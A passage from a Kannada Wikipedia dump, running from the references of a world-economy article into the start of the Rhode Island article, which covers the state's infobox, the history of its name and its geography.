1998ರ ನಡುವಿನ ವರ್ಷಗಳು == ಉಲ್ಲೇಖಗಳು == {{Reflist}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.imf.org/external/ns/cs.aspx?id=29 ಐಎಮ್‌ಎಫ್-ವಿಶ್ವ ಆರ್ಥಿಕ ಹೊರನೋಟ] * [https://www.un.org/esa/policy/publications/publications.htm ಯುಎನ್‌ ಡಿಇಎಸ್‌ಎ - ವಿಶ್ವ ಆಥಿಕ ಪ್ರಕಟಣೆಗಳು] {{Webarchive|url=https://web.archive.org/web/20100325213121/http://www.un.org/esa/policy/publications/publications.htm |date=2010-03-25 }} * [https://www.cia.gov/library/publications/the-world-factbook/geos/xx.html CIA - The World Factbook -- World] {{Webarchive|url=https://web.archive.org/web/20100105171656/https://www.cia.gov/library/publications/the-world-factbook/geos/xx.html |date=2010-01-05 }} * [http://www.ericdigests.org/1993/global.htm ವಿಶ್ವ ಆರ್ಥಿಕತೆಗಾಗಿ ಔದ್ಯೋಗಿಕ ಶಿಕ್ಷಣ] * [http://www.bbc.co.uk/news/special_reports/global_economy ಬಿಬಿಸಿ ವಾರ್ತೆಗಳ ವಿಶೇಷ ವರದಿ - ಗೋಬಲ್ ಎಕಾನಮಿ] * [https://www.theguardian.com/business/global-economy ರಾರ್ಡಿಯನ್ ಸ್ಪೆಶಲ್ ರಿಪೋರ್ಟ್‌ - ಗ್ಲೋಬಲ್ ಎಕಾನಮಿ] [[ವರ್ಗ:ಆರ್ಥಿಕತೆಗಳು]] [[ವರ್ಗ:ವಿಶ್ವ ಆರ್ಥಿಕತೆ]] [[ವರ್ಗ:ಆರ್ಥಿಕ ವ್ಯವಸ್ಥೆ]] qjoegj5y298b1o762ob5p6nkhfs2i2v ರೋಡ್ ಐಲೆಂಡ್(ರೋಡ್ ದ್ವೀಪ) 0 26269 1116428 1084033 2022-08-23T12:19:31Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Use mdy dates|date=October 2010}} {{US state | Name = Rhode Island| Fullname = State of Rhode Island<br />and Providence Plantations | Common Name - Rhode Island | Flag = Flag of Rhode Island.svg | Flaglink = [[Flag of Rhode Island|Flag]] | Seal = Seal of Rhode Island.svg | Map = Map of USA RI.svg | Nickname = The Ocean State<br />Little Rhody<ref>{{cite web|author=RI.gov |url=http://www.ri.gov/facts/history.php |title=Rhode Island Government : Government |publisher=RI.gov |date= |accessdate=July 31, 2010}}</ref> | Motto = Hope | Former = Colony of Rhode Island <br />and Providence Plantations | Demonym = Rhode Islander | Capital = [[Providence, Rhode Island|Providence]] | LargestCity = [[Providence, Rhode Island|Providence]] | Governor = [[Donald Carcieri]] (R) | Lieutenant Governor = [[Elizabeth H. Roberts]] (D) | Legislature = [[Rhode Island General Assembly|General Assembly]] | Upperhouse = [[Rhode Island Senate|Senate]] | Lowerhouse = [[Rhode Island House of Representatives|House of Representatives]] | Senators = [[Jack Reed]] (D)<br /> [[Sheldon Whitehouse]] (D)| Representative=[[Rhode Island's 1st congressional district|1]]: [[Patrick J. Kennedy]] (D)<br />[[Rhode Island's 2nd congressional district|2]]: [[James Langevin]] (D)| PostalAbbreviation = RI | BorderingStates = [[Connecticut]], [[Massachusetts]]| OfficialLang = '''[[De jure]]''': None <br /> '''[[De facto]]''': English | AreaRank = 50th | TotalAreaUS = 1,214<ref>http://sos.ri.gov/library/history/facts/</ref> | TotalArea = {{convert|1214|sqmi|km2|disp=output number only}} | LandAreaUS = 1,045 | LandArea = 2,706 | WaterAreaUS = 500 | WaterArea = 6,687 | PCWater = 32.4 | PopRank = 43rd | 2000Pop (old) = 1,048,319 | 2000Pop = 1,053,209 (2009 est.)<ref name=09CenEst>{{cite web | title = Annual Estimates of the Resident Population for the United States, Regions, States, and Puerto Rico: April 1, 2000 to July 1, 2009 | publisher = United States Census Bureau | accessdate = December 23, 2009 | url = http://www.census.gov/popest/states/NST-ann-est.html}}</ref>| DensityRank = 2nd | 2000DensityUS = 1,012.3 | 2000Density = 390.78 |State Symbol MedianHouseholdIncome = $44,619 | IncomeRank = 17th | AdmittanceOrder = 13th | AdmittanceDate = May 29, 1790 | TimeZone = [[Eastern Standard Time Zone|Eastern]]: [[UTC]]-5/[[Daylight saving time|-4]] | Longitude = 71° 07' W to 71° 53' W | Latitude = 41° 09' N to 42° 01' N | WidthUS = 37 | Width = 60 | LengthUS = 48| Length = 77 | HighestPoint = [[Jerimoth Hill]]<ref name=usgs>{{cite web| date =April 29, 2005 | url =http://erg.usgs.gov/isb/pubs/booklets/elvadist/elvadist.html#Highest| title =Elevations and Distances in the United States| publisher =U.S Geological Survey| accessdate = November 7, 2006}}</ref> | HighestElevUS = 812 | HighestElev = 247 | MeanElevUS = 200 | MeanElev = 60 | LowestPoint = Atlantic Ocean<ref name=usgs/> | LowestElevUS = 0| LowestElev = 0 | ISOCode = US-RI | Website = www.ri.gov| Footnotes = * Total area in [[acres]]<br /> is approximately {{convert|776957|acre|km2|0}} }} '''ಸ್ಟೇಟ್ ಆಫ್ ರೋಡ್ ಐಲೆಂಡ್ ಎಂಡ್ ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ಲಾಂಟೇಶನ್ಸ್''' ,<ref name="constitution">{{cite web|url = http://www.rilin.state.ri.us/RiConstitution/ConstFull.html|title = Constitution of the State of Rhode Island and Providence Plantations|accessdate = September 9, 2007|publisher = State of Rhode Island General Assembly|archive-date = ಸೆಪ್ಟೆಂಬರ್ 19, 2008|archive-url = https://web.archive.org/web/20080919035215/http://www.rilin.state.ri.us/RiConstitution/ConstFull.html|url-status = dead}}</ref> ಇದನ್ನು '''ರೋಡ್ ಐಲೆಂಡ್''' ಎಂದು ಸಾಮಾನ್ಯವಾಗಿ ಉಲ್ಲೇಖಿಸಲಾಗುತ್ತದೆ. {{Audio-IPA|en-us-Rhode Island.ogg|/ˌroʊd ˈaɪlɨnd/}}ಅಥವಾ{{IPA-en|rɵˈdaɪlɨnd|}}, ಇದು ಅಮೆರಿಕದ ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್ ಪ್ರದೇಶದ ರಾಜ್ಯವಾಗಿದೆ. ಇದು ವಿಸ್ತೀರ್ಣದಲ್ಲಿ ಅತೀ ಸಣ್ಣ ಅಮೆರಿಕದ ರಾಜ್ಯವಾಗಿದೆ. ರೋಡ್ ಐಲೆಂಡ್ ಪಶ್ಚಿಮಕ್ಕೆ ಕನೆಕ್ಟಿಕಟ್ ಗಡಿ, ಉತ್ತರ ಮತ್ತು ಪೂರ್ವಕ್ಕೆ ಮಸಾಚುಸೆಟ್ಸ್ ಗಡಿಯನ್ನು ಹೊಂದಿದೆ. ನೈರುತ್ಯಕ್ಕೆ [[ನ್ಯೂ ಯಾರ್ಕ್|ನ್ಯೂಯಾರ್ಕ್]]‌ನ ಲಾಂಗ್ ಐಲೆಂಡ್ ಜತೆ ಇದು ನೀರಿನ ಗಡಿಯನ್ನು ಹಂಚಿಕೊಂಡಿದೆ. ರೋಡ್ ಐಲೆಂಡ್ 13 ಮೂಲ ವಸಾಹತುಗಳ ಪೈಕಿ ಬ್ರಿಟಿಷ್ ಆಡಳಿತದಿಂದ ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಿಸಿಕೊಂಡ ಪ್ರಥಮ ವಸಾಹತು ಹಾಗು ಅಮೆರಿಕ ಸಂವಿಧಾನವನ್ನು ಅನುಮೋದಿಸಿದ ಕೊನೆಯ ವಸಾಹತು. ರೋಡ್ ಐಲೆಂಡ್ ಅಧಿಕೃತ ಉಪನಾಮ " ದಿ ಓಷನ್ ಸ್ಟೇಟ್". ಈ ಉಪನಾಮವು ರಾಜ್ಯದ ಬೌಗೋಳಿಕತೆಯನ್ನು ಉಲ್ಲೇಖಿಸಿದೆ. ರೋಡ್ ಐಲೆಂಡ್ ಹಲವಾರು ದೊಡ್ಡ ಕೊಲ್ಲಿಗಳನ್ನು ಮತ್ತು ಕಡಲಚಾಚುಗಳನ್ನು ಹೊಂದಿದ್ದು, ಇವು ಒಟ್ಟು ಪ್ರದೇಶದ 30% ವ್ಯಾಪಿಸಿದೆ. ಇದರ ಭೂವಿಸ್ತೀರ್ಣವು 1,೦45 ಚದರ ಮೈಲುಗಳು(2706 ಕಿಮೀ<sup>2</sup>), ಆದರೆ ಇದರ ಒಟ್ಟು ವಿಸ್ತೀರ್ಣವು ಗಮನಾರ್ಹವಾಗಿ ಹೆಚ್ಚಾಗಿದೆ.(ಅಮೆರಿಕದಲ್ಲಿ ಭೂಪ್ರದೇಶದಿಂದ ಮೂರು ನಾವಿಕ ಮೈಲುಗಳಿಗಿಂತ ಹೆಚ್ಚು ದೂರದ ಎಲ್ಲ ಸಾಗರ ತಳಗಳು ಮತ್ತು ಸಮುದ್ರಜಲಪ್ರದೇಶವು ಫೆಡರಲ್ ಸರ್ಕಾರಕ್ಕೆ ಸೇರುತ್ತದೆ.) == ಹೆಸರಿನ ಮೂಲ == ಹೆಸರಿನ ನಡುವೆಯೂ, ರೋಡ್ ಐಲೆಂಡ್ ಬಹುಭಾಗವು ಅಮೆರಿಕದ ಮುಖ್ಯಭೂಭಾಗದಲ್ಲಿದೆ. ''ರೋಡ್ ಐಲೆಂಡ್ ಮತ್ತು ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ಲಾಂಟೇಶನ್ಸ್'' ಎರಡು ವಸಾಹತುಗಳಾದ ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ಲಾಂಟೇಶನ್ಸ್ ಮತ್ತು ರೋಡ್ ಐಲೆಂಡ್ ವಿಲೀನದಿಂದ ವ್ಯುತ್ಪತ್ತಿಯಾಗಿದೆ. ''ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ಲಾಂಟೇಶನ್ಸ್'' ರೋಜರ್ ವಿಲಿಯಮ್ಸ್ ಶೋಧನೆ ಮಾಡಿದ ವಸಾಹತಿನ ಹೆಸರು. ಇದು ಪ್ರಾವಿಡೆನ್ಸ್ ಸಿಟಿ ಎಂದು ಹೆಸರಾದ ಪ್ರದೇಶದಲ್ಲಿದೆ. ಇನ್ನೊಂದು ವಸಾಹತು ಸ್ಥಳವಾದ''ರೋಡ್ ಐಲೆಂಡ್‌'' ‌ನ್ನು ಪ್ರಸಕ್ತ ದಿನದ ನ್ಯೂಪೋರ್ಟ್‌ ಪ್ರದೇಶದಲ್ಲಿ ಅಕ್ವಿಡ್‌ನೆಕ್ ದ್ವೀಪದಲ್ಲಿ ಪತ್ತೆಹಚ್ಚಲಾಯಿತು. ಅಕ್ವಿಡ್‌ನೆಕ್ ನರ್ರಗಾನ್‌ಸೆಟ್ ಕೊಲ್ಲಿಯಲ್ಲಿ ಹಲವಾರು ದ್ವೀಪಗಳ ಪೈಕಿ ಅತೀ ದೊಡ್ಡದಾಗಿದೆ.<ref name="water">http://www.dlt.ri.gov/lmi/map.htm {{Webarchive|url=https://web.archive.org/web/20130117053440/http://www.dlt.ri.gov/lmi/map.htm |date=ಜನವರಿ 17, 2013 }} 2007 ಫೆಬ್ರವರಿ 27ರಂದು ಹಿಂಪಡೆಯಲಾಗಿದೆ.</ref> ಅಕ್ವಿಡಿಕ್‌ನೆಕ್ ದ್ವೀಪ ಹೇಗೆ ರೋಡ್ ಐಲೆಂಡ್‌ ಎಂದು ಹೆಸರಾಯಿತು ಎನ್ನುವುದು ಅಸ್ಪಷ್ಟವಾಗಿದೆ. 1524ರಲ್ಲಿ ಪರಿಶೋಧಕ ಜಿಯೊವಾನಿ ಡಾ ವೆರಂಜಾನೊ ನರ್ರಗಾನ್‌ಸೆಟ್ ಕೊಲ್ಲಿಯ ಪ್ರವೇಶದ ಬಳಿ ದ್ವೀಪವೊಂದರ ಉಪಸ್ಥಿತಿಯನ್ನು ಗಮನಿಸಿದರು. ಅದನ್ನು ಅವರು ಗ್ರೀಕ್ ದ್ವೀಪ ರೋಡ್ಸ್‌ಗೆ ಹೋಲಿಸಿದರು. ವೆರೆಜಾನೊ ಯಾವ ದ್ವೀಪವನ್ನು ಉಲ್ಲೇಖಿಸಿದ್ದಾರೆ ಎನ್ನುವುದು ಅಸ್ಪಷ್ಟವಾಗಿದ್ದರೂ, ಈ ಪ್ರದೇಶದಲ್ಲಿ ವಸಾಹತು ಸ್ಥಾಪಿಸಿದ ಯಾತ್ರಿಗಳು ಅಕ್ವಿಡಿಕ್‌ನೆಕ್ ದ್ವೀಪಕ್ಕೆ ರೋಡ್ ಐಲೆಂಡ್ ಹೆಸರನ್ನಿಡಲು ನಿರ್ಧರಿಸಿದರು. ರೋಡ್ ಐಲೆಂಡ್ ಎಂಬ ಹೆಸರನ್ನು 1637ರಲ್ಲಿ ರೋಜರ್ ವಿಲಿಯಮ್ಸ್ ಮುಂಚಿತವಾಗಿ ಬಳಸಿರುವುದು ತಿಳಿದುಬಂದಿದೆ. ಈ ಪದಗಳೊಂದಿಗೆ 1644ರಲ್ಲಿ ಈ ದ್ವೀಪಕ್ಕೆ ಹೆಸರನ್ನು ಅಧಿಕೃತವಾಗಿ ಇಡಲಾಯಿತು "ಅಕ್ವೆತ್‌ನೆಕ್‌ನ್ನು ಇನ್ನುಮೇಲೆ ಇಲೆ ಆಫ್ ರಾಡ್ಸ್ ಅಥವಾ ರೋಡ್ ಐಲೆಂಡ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ" "ಐಸಲ್ ಆಫ್ ರೋಡ್ಸ್"ನ್ನು 1646ರಷ್ಟು ಹಿಂದೆಯೇ ಕಾನೂನಿನ ದಾಖಲೆಯಲ್ಲಿ ಬಳಸಿದ್ದನ್ನು ಪತ್ತೆಹಚ್ಚಲಾಗಿದೆ.<ref>http://sos.ri.gov/library/history/name/</ref><ref>ಹ್ಯಾಮಿಲ್ಟನ್ B. ಸ್ಟೇಪಲ್ಸ್, "ಒರಿಜಿನ್ಸ್ ಆಫ್ ದಿ ನೇಮ್ಸ್ ಆಫ್ ದಿ ಸ್ಟೇಟ್ ಆಫ್ ದಿ ಯೂನಿಯನ್",ಪ್ರೊಸೀಡಿಂಗ್ಸ್ ಆಫ್ ದಿ ಅಮೆರಿಕನ್ ಆಂಟಿಕ್ವೇರಿಯನ್ ಸೊಸೈಟಿ, ಸಂಪುಟ. 68 (1882): [https://books.google.com/books?id=msILAAAAIAAJ&amp;lpg=PA368&amp;ots=MxZLoQLqKW&amp;dq=%22commemorated%20the%20fiery%20aspect%20of%20the%20place%22&amp;pg=PA367#v=onepage&amp;q=%22commemorated%20the%20fiery%20aspect%20of%20the%20place%22&amp;f=false ಗೀಗಲ್ ಡಾಕ್ಸ್, ಒರಿಜಿನ್ಸ್ ಆಫ್ ದಿ ನೇಮ್ಸ್ ಆಫ್ ದಿ ಸ್ಟೇಟ್ ಆಫ್ ದಿ ಯೂನಿಯನ್]</ref> ಆಡ್ರಿಯನ್ ಬ್ಲಾಕ್ 1627ರ ಯಾತ್ರೆ ಸಂದರ್ಭದಲ್ಲಿ ಅಕ್ವಿಡ್‌ನೆಕ್ ದ್ವೀಪದಲ್ಲಿ ಹಾದುಹೋಗಿದ್ದು, 1625ರಲ್ಲಿ ತನ್ನ ಪ್ರವಾಸದ ವಿವರಗಳ ದಾಖಲೆಯಲ್ಲಿ "ಕೆಂಪು ನೋಟದ ದ್ವೀಪ"(17ನೇ ಶತಮಾನದ ಡಚ್ ಭಾಷೆಯಲ್ಲಿ "een rodlich Eylande") ಎಂದು ವರ್ಣಿಸಿದ್ದಾನೆ.<ref>[http://www.s4ulanguages.com/delaet.html ''Nieuwe Wereldt ofte Beschrijvinghe van West-Indien, uit veelerhande Schriften ende Aen-teekeningen van verscheyden Natien (Leiden, Bonaventure &amp; Abraham Elseviers, 1625)'' ]. ಸಂಬಂಧಿಸಿದ ಪಠ್ಯದ ಇಂಗ್ಲೀಷ್ ಅನುವಾದ: "ಡಾಕ್ಯುಮೆಂಟರಿ ಹಿಸ್ಟರಿ ಆಫ್ ರೋಡ್ ಐಲೆಂಡ್ (1916): https://archive.org/stream/documentaryhisto02chap/documentaryhisto02chap_djvu.txt</ref> 1659ರಷ್ಟು ಮುಂಚಿನ ಡಚ್ ನಕ್ಷೆಗಳಲ್ಲಿ ದ್ವೀಪವನ್ನು "ರೂಡ್ ಐಲ್ಯಾಂಟ್‌" ಅಥವಾ ರೆಡ್ ಐಲೆಂಡ್ ಎಂದು ಕರೆಯಲಾಗಿದೆ. ಕೆಂಪು ಶರತ್ಕಾಲದ ಎಲೆಗೊಂಚಲು ಅಥವಾ ತೀರದ ಭಾಗಗಳಲ್ಲಿ ಕೆಂಪು ಜೇಡಿ ಮಣ್ಣಿನ ಕಾರಣದಿಂದ ದ್ವೀಪಕ್ಕೆ ಡಚ್ ನಾಗರಿಕನಿಂದ ಹೆಸರು ಬಂದಿದೆ ಎಂದು ಇತಿಹಾಸಜ್ಞರು ನಂಬಿದ್ದಾರೆ(ಬಹುಶಃ ಸ್ವತಃ ಆಡ್ರಿಯನ್ ಬ್ಲಾಕ್ ಅವರಿಂದ).<ref>ಎಲಿಶಾ ಪಾಟ್ಟರ್, 1835. ದಿ ಅರ್ಲಿ ಹಿಸ್ಟರಿ ಆಫ್ ನರ್ರಾಗನ್‌ಸೆಟ್. ಕಲೆಕ್ಷನ್ಸ್ ಆಫ್ ದಿ ರೋಡ್ ಐಲೆಂಡ್ ಹಿಸ್ಟೋರಿಕಲ್ ಸೊಸೈಟಿ, v3. https://books.google.com/books?id=RDIqdXhz9A4C&amp;ots=4A087c9MfB&amp;dq=potter's%20early%20history%20of%20narragansett&amp;pg=PA22#v=snippet&amp;q=dutch%20name&amp;f=false</ref><ref name="books.google.com">ಸ್ಯಾಮ್ಯುಯಲ್ G. ಆರ್ನಾಲ್ಡ್, ಹಿಸ್ಟರಿ ಆಫ್ ರೋಡ್ ಐಲೆಂಡ್ (1859). https://books.google.com/books?id=iUJg2uqb7LgC&amp;pg=PA70#v=onepage&amp;q&amp;f=false</ref><ref name="books.google.com"/> [[ಚಿತ್ರ:Verrazzano monument.jpg|250px|right|thumb|ವೆರಾಜಾನೊ ಸ್ಮಾರಕ , ಪ್ರಾವಿಡೆನ್ಸ್, ರೋಡ್ ಐಲೆಂಡ್.]] ರೋಜರ್ ವಿಲಿಯಮ್ಸ್ ಎಂಬ ದೇವತಾಶಾಸ್ತ್ರಜ್ಞ ಧಾರ್ಮಿಕ ಸ್ವಾತಂತ್ರ್ಯ,ಚರ್ಚ್ ಮತ್ತು ರಾಜ್ಯದ ಪ್ರತ್ಯೇಕತೆ, ಗುಲಾಮ ಪದ್ಧತಿ ರದ್ದು, ಸ್ಥಳೀಯ ಅಮೆರಿಕನ್ನರ ಜತೆ ಸಮಾನ ನಡವಳಿಕೆ ಕುರಿತು ಬೋಧಿಸಿದವರಲ್ಲಿ ಮೊದಲಿಗರು. ಅವರನ್ನು ಮಸಾಚುಸೆಟ್ಸ್ ಕೊಲ್ಲಿ ವಸಾಹತಿನಿಂದ ಹೊರಕಳಿಸಲಾಯಿತು. ಧಾರ್ಮಿಕ ಮತ್ತು ರಾಜಕೀಯ ಸಹನೆಯನ್ನು ಅರಸುತ್ತಾ ಅವರ ಜತೆಗೆ ಇತರರು ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ಲಾಂಟೇಶನ್ಸ್‌ನ್ನು ಮುಕ್ತ ಒಡೆತನದ ವಸಾಹತನ್ನಾಗಿ ಸ್ಥಾಪಿಸಿದರು. "ಪ್ರಾವಿಡೆನ್ಸ್"ದೈವಾನುಗ್ರಹವನ್ನು ಉಲ್ಲೇಖಿಸುತ್ತದೆ ಮತ್ತು "ಪ್ಲಾಂಟೇಶನ್ಸ್" ಪದವು ಬ್ರಿಟನ್ನಿನ ವಸಾಹತಿನ ಪದವನ್ನು ಉಲ್ಲೇಖಿಸುತ್ತದೆ.(ಜನರು ಒಂದು ಸ್ಥಳವನ್ನು ತ್ಯಜಿಸಿ ಇನ್ನೊಂದು ಸ್ಥಳದಲ್ಲಿ ನೆಲೆಸುವುದು). ಹೀಗೆ, ಈ ಹೆಸರು ನಂತರದ ದಕ್ಷಿಣ ಮತ್ತು ಕ್ಯಾರಿಬಿಯನ್ ದ್ವೀಪಗಳ ಗುಲಾಮ ವಸಾಹತುಗಳ ಜತೆ ಯಾವುದೇ ಸಂಬಂಧ ಹೊಂದಿಲ್ಲ. ನಂತರ,ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ಲಾಂಟೇಷನ್ಸ್ ಮತ್ತು ರೋಡ್ ಐಲೆಂಡನ್ನು ರೋಡ್ ಐಲೆಂಡ್ ಮತ್ತು ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ಲಾಂಟೇಶನ್ಸ್ ಎಂಬ ವಸಾಹತಾಗಿ ವಿಲೀನಗೊಳಿಸಲಾಯಿತು. "ರೋಡ್ ಐಲೆಂಡ್ ಮತ್ತು ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ಲಾಂಟೇಶನ್ಸ್" ಒಕ್ಕೂಟದಲ್ಲಿ ಯಾವುದೇ ರಾಜ್ಯದ ಅತೀ ಉದ್ದನೆಯ ಅಧಿಕೃತ ಹೆಸರಾಗಿದೆ. 2009 ಜೂನ್ 23ರಂದು ಜನರಲ್ ಅಸೆಂಬ್ಲಿ(ಶಾಸನ ಸಭೆ) ಪ್ರಾವಿಡೆನ್ಸ್ ಪ್ಲಾಂಟೇಶನ್ಸ್ ಹೆಸರು ಇರಬೇಕೇ ಅಥವಾ ಕೈಬಿಡಬೇಕೇ ಎನ್ನುವುದನ್ನು ಜನರ ನಿರ್ಧಾರಕ್ಕೆ ಬಿಡಲು ಮತದಾನ ಕೈಗೊಂಡಿತು. ಈ ಹೆಸರು ಗುಲಾಮಗಿರಿಗೆ ಸಂಬಂಧಿಸಿದ್ದೆಂಬ ತಪ್ಪುಪರಿಕಲ್ಪನೆ ಇದಕ್ಕೆ ಕಾರಣವಾಗಿತ್ತು.<ref>[http://www.google.com/hostednews/ap/article/ALeqM5jcjT9yQ3eiJ9uywggCR_IuT7O9lwD9922KB80 RI ಕ್ಲೋಸರ್ ಟು ಚೇಂಜಿಂಗ್ ಸ್ಟೇಟ್ ನೇಮ್ ಓವರ್ ಸ್ಲೇವರಿ]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, ಅಸೋಸಿಯೇಟೆಡ್ ಪ್ರೆಸ್ 2009ರ ಜೂನ್‌ 29ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು.</ref> 2010ರ ನವೆಂಬರ್ 2ರ ಚುನಾವಣೆಗಳಲ್ಲಿ ಈ ವಿಷಯವನ್ನು ಕುರಿತ ಜನಾದೇಶದ ಚುನಾವಣೆ ನಡೆಸಲು ನಿರ್ಧರಿಸಲಾಯಿತು. ರೋಡ್ ಐಲೆಂಡ್ ಅಧಿಕೃತ ರಾಜ್ಯ ಉಪನಾಮವು "ದಿ ಓಷನ್ ಸ್ಟೇಟ್" ಎನ್ನುವುದಾಗಿದೆ. ಇದು ರಾಜ್ಯದ ಬೌಗೋಳಿಕತೆಯನ್ನು ಉಲ್ಲೇಖಿಸುತ್ತದೆ(ರೋಡ್ ಐಲೆಂಡ್ ಅನೇಕ ದೊಡ್ಡ ಕೊಲ್ಲಿಗಳು ಮತ್ತು ಕಡಲಚಾಚುಗಳನ್ನು ಹೊಂದಿದ್ದು, ಒಟ್ಟು ಪ್ರದೇಶದ 30%ವಿಸ್ತೀರ್ಣವುಳ್ಳದ್ದಾಗಿದೆ.) == ಬೌಗೋಳಿಕತೆ == [[ಚಿತ್ರ:Rhode Island - NED500.jpg|225px|thumb|ರೋಡ್ ಐಲೆಂಡ್‌ನ ಭೂಪ್ರದೇಶದ ನಕ್ಷೆ]] {{See|List of counties in Rhode Island}} [[ಚಿತ್ರ:National-atlas-rhode-island.png|thumb|225px|left|ಪ್ರಮುಖ ನಗರಗಳು ಮತ್ತು ರಸ್ತೆಗಳನ್ನು ತೋರಿಸುತ್ತಿರುವ ರೋಡ್ ಐಲೆಂಡ್‌ನ ನಕ್ಷೆ.]] ರೋಡ್ ಐಲೆಂಡ್ 1,535 ಚದರ ಮೈಲಿ (4,002 ಕಿಮಿ²) ಪ್ರದೇಶವನ್ನು ಆವರಿಸಿದೆ. ಇದು ಪಶ್ಚಿಮಕ್ಕೆ ಕನೆಕ್ಟಿಕಟ್ ಗಡಿ, ಉತ್ತರ ಮತ್ತು ಪೂರ್ವಕ್ಕೆ ಮಸಾಚುಸೆಟ್ಸ್ ಗಡಿಯನ್ನು ಹೊಂದಿದೆ. ದಕ್ಷಿಣಕ್ಕೆ ರೋಡ್ ಐಲೆಂಡ್ ಜಲಸಂಧಿ ಮತ್ತು ಅಟ್ಲಾಂಟಿಕ್ ಸಾಗರವನ್ನು ಹೊಂದಿದೆ. ಇದು ನ್ಯೂಯಾರ್ಕ್ ರಾಜ್ಯದ ಜತೆ ಬ್ಲಾಕ್ ಐಲೆಂಡ್ ಮತ್ತು ಲಾಂಗ್ ಐಲೆಂಡ್ ನಡುವೆ ಕಿರಿದಾದ ಕಡಲಗಡಿಯನ್ನು ಹಂಚಿಕೊಂಡಿದೆ. ರಾಜ್ಯದ ಸರಾಸರಿ ಎತ್ತರವು 200 ಅಡಿ(60 ಮೀ). ಸಾಗರ ರಾಜ್ಯ(ಓಷನ್ ಸ್ಟೇಟ್)ಎಂದು ಉಪನಾಮ ಹೊಂದಿರುವ ರೋಡ್ ಐಲೆಂಡ್‌ನಲ್ಲಿ ಅನೇಕ ಸಾಗರ ಕಿನಾರೆಗಳಿವೆ. ಇದು ಬಹುಮಟ್ಟಿಗೆ ಚಪ್ಪಟೆಯಾಗಿದ್ದು,ನೈಜ ಪರ್ವತಗಳಿಲ್ಲ. ರಾಜ್ಯದ ಅತೀ ಎತ್ತರದ ನೈಸರ್ಗಿಕ ಪರ್ವತಶೃಂಗವು ಜೆರಿಮೋತ್ ಪರ್ವತವಾಗಿದ್ದು, ಸಮುದ್ರಮಟ್ಟಕ್ಕಿಂತ 812 ಅಡಿ(247ಮೀ)ಎತ್ತರವಿದೆ.<ref name="usgs"/> ಅಪ್ಪಾಲಾಚಿಯನ್ ಪ್ರದೇಶದ ನ್ಯೂಇಂಗ್ಲೆಂಡ್ ಪ್ರಾಂತ್ಯದಲ್ಲಿ ನೆಲೆಗೊಂಡಿರುವ ರೋಡ್ ಐಲೆಂಡ್ ಎರಡು ವಿಶಿಷ್ಟ ನೈಸರ್ಗಿಕ ಪ್ರದೇಶಗಳನ್ನು ಹೊಂದಿದೆ. ಪೂರ್ವ ರೋಡ್ ಐಲೆಂಡ್ ನರ್ರಾಗಾನ್‌ಸೆಟ್ ಕೊಲ್ಲಿಯ ಕೆಳಪ್ರದೇಶಗಳನ್ನು ಹೊಂದಿದ್ದು, ಪಶ್ಚಿಮ ರೋಡ್ ಐಲೆಂಡ್ ನ್ಯೂ ಇಂಗ್ಲಂಡ್ ಒಳಪ್ರದೇಶದ ಭಾಗವಾಗಿದೆ. ರೋಡ್ ಐಲೆಂಡ್ ಕಾಡುಗಳು ಈಶಾನ್ಯ ತೀರಪ್ರದೇಶದ ಕಾಡುಗಳ ಪರಿಸರಪ್ರದೇಶದ ಭಾಗವಾಗಿದೆ.<ref name="ecoregions">{{cite journal |author = Olson, D. M, E. Dinerstein, ''et al'' |title = Terrestrial Ecoregions of the World: A New Map of Life on Earth |journal = [[BioScience]] |year = 2001 |volume=51 |issue=11 |pages= 933-938 |url = http://gis.wwfus.org/wildfinder/ |doi = 10.1641/0006-3568(2001)051[0933:TEOTWA]2.0.CO;2 }}</ref> ನರಗಾನ್‌ಸೆಟ್ ಕೊಲ್ಲಿಯು ರಾಜ್ಯದ ಸ್ಥಳದ ಸ್ವರೂಪದಲ್ಲಿ ಮುಖ್ಯ ಲಕ್ಷಣವಾಗಿದೆ. ಬ್ಲಾಕ್ ಐಲೆಂಡ್ ಮುಖ್ಯಭೂಭಾಗದ ದಕ್ಷಿಣ ತೀರಕ್ಕೆ ಅಂದಾಜು 12 ಮೈಲುಗಳು(19 ಕಿಮೀ)ದೂರದಲ್ಲಿ ನೆಲೆಗೊಂಡಿದೆ. ಈ ಕೊಲ್ಲಿಯೊಳಗೆ 30ಕ್ಕೂ ಹೆಚ್ಚು ದ್ವೀಪಗಳಿವೆ. ಅತೀ ದೊಡ್ಡದು ಅಕ್ವಿಡ್‌ನೆಕ್ ದ್ವೀಪವಾಗಿದ್ದು, ನ್ಯೂಪೋರ್ಟ್,ಮಿಡಲ್‌ಟೌನ್ ಮತ್ತು ಪೋರ್ಟ್ಸ್‌ಮೌತ್ ಪುರಸಭೆಗಳನ್ನು ಹಂಚಿಕೊಂಡಿದೆ. ಎರಡನೇ ದೊಡ್ಡ ದ್ವೀಪವು ಕೊನಾನಿಕಟ್, ಪ್ರೂಡೆನ್ಸ್‌ ಮೂರನೇ ಅತೀದೊಡ್ಡ ದ್ವೀಪವಾಗಿದೆ. === ಬೌಗೋಳಿಕತೆ === ರೋಡ್ ಐಲೆಂಡಿನಲ್ಲಿ ಮಾತ್ರ ಸಿಗುವ ಅಪರೂಪ ವಿಧದ [[ಕಲ್ಲು]] ಕಂಬರ್‌ಲ್ಯಾಂಡೈಟ್ (ವಿಶೇಷವಾಗಿ ಕಂಬರ್‌ಲ್ಯಾಂಡ್ ಪಟ್ಟಣದಲ್ಲಿ)ರಾಜ್ಯದಲ್ಲಿ ದೊರೆಯುವ ಕಲ್ಲಾಗಿದೆ. ಆರಂಭದಲ್ಲಿ ಖನಿಜದ ಎರಡು ನಿಕ್ಷೇಪಗಳಿದ್ದು, ಇದು 